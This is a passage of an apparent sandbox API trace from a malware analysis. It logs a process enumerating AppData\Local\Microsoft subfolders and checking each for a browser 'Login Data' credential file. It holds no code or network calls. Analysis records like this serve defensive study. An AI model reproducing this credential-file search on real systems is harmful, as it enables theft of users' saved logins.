ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.009] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0201.009] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0201.009] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0201.079] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0201.079] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.079] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0201.080] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.080] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0201.080] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6bedbc3e, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0201.081] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6bedbc3e, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 0 [0201.081] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0201.081] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.081] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.081] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.082] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0201.082] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 0 [0201.082] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.082] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.082] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0201.082] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.083] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.083] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0201.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.083] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.083] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.084] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.084] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.084] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0201.084] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.084] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.084] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0201.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.085] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd425650, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd425650, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.085] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0201.085] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 0 [0201.086] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.086] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.086] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.086] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.086] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0201.086] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviewFont", cAlternateFileName="PREVIE~1")) returned 1 [0201.087] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviewFont", cAlternateFileName="PREVIE~1")) returned 0 [0201.087] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.087] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.087] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0201.087] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.087] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x30ac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ListAll.Json", cAlternateFileName="LISTAL~1.JSO")) returned 1 [0201.088] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x30ac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ListAll.Json", cAlternateFileName="LISTAL~1.JSO")) returned 0 [0201.088] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0201.088] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.089] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0201.089] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, 